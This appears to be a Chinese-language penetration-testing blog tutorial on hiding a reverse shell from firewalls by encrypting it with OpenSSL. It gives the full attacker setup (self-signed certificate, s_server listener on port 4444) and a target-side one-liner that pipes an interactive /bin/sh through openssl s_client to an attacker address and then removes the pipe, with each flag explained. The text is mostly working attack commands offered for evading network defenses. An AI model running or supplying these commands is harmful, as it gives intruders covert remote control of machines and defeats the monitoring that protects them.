openssl加密反弹shell

前言

在渗透测试过程中,经常会遇到目标服务器有防火墙,能够识别进出站的恶意流量并阻止反弹shell执行,遇到这种情况一般我们采用分块传输,编码,畸形报文等各种手段绕过。本篇介绍一种更方便的方式:使用openssl加密传输。

攻击机操作

攻击机生成密钥对

1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

其中各参数:

-new: 表示生成一个新的证书签署要求
-x509: 专用于生成CA自签证书
-key:指定生成证书用到的私钥文件
-out FILNAME:指定生成的证书的保存路径
-days:指定证书的有效期限,单位为day,默认是365天
-notes: 生成的私钥文件不会被加密

攻击机监听端口

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

靶机操作

靶机上反弹加密shell

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.xx.xx:4444 > /tmp/s; rm /tmp/s

mkfifo /tmp/s;创建一个管道

/bin/sh -i < /tmp/s 2>&1 打开一个交互式反弹shell,2>&1的意思是把标准错误输出重定向到标准输出,否则输入错误命令回显会显示在靶机中

openssl s_client -quiet -connect 192.168.xx.xx:4444 > /tmp/s; 解密流量,将攻击端输入的数据解密后反弹回攻击端

rm /tmp/s 由于已经加载进内存,清除掉/tmp/s文件

其中openssl各参数:

-quiet:不打印出session和证书的信息。同时隐式打开-ign_eof
-ign_eof:当输入文件到达文件尾的时候并不断开连接
-connect host:port: 设置服务器地址和端口号。如果没有设置,则默认为本地主机以及端口号4433

shell成功连接

fork me on github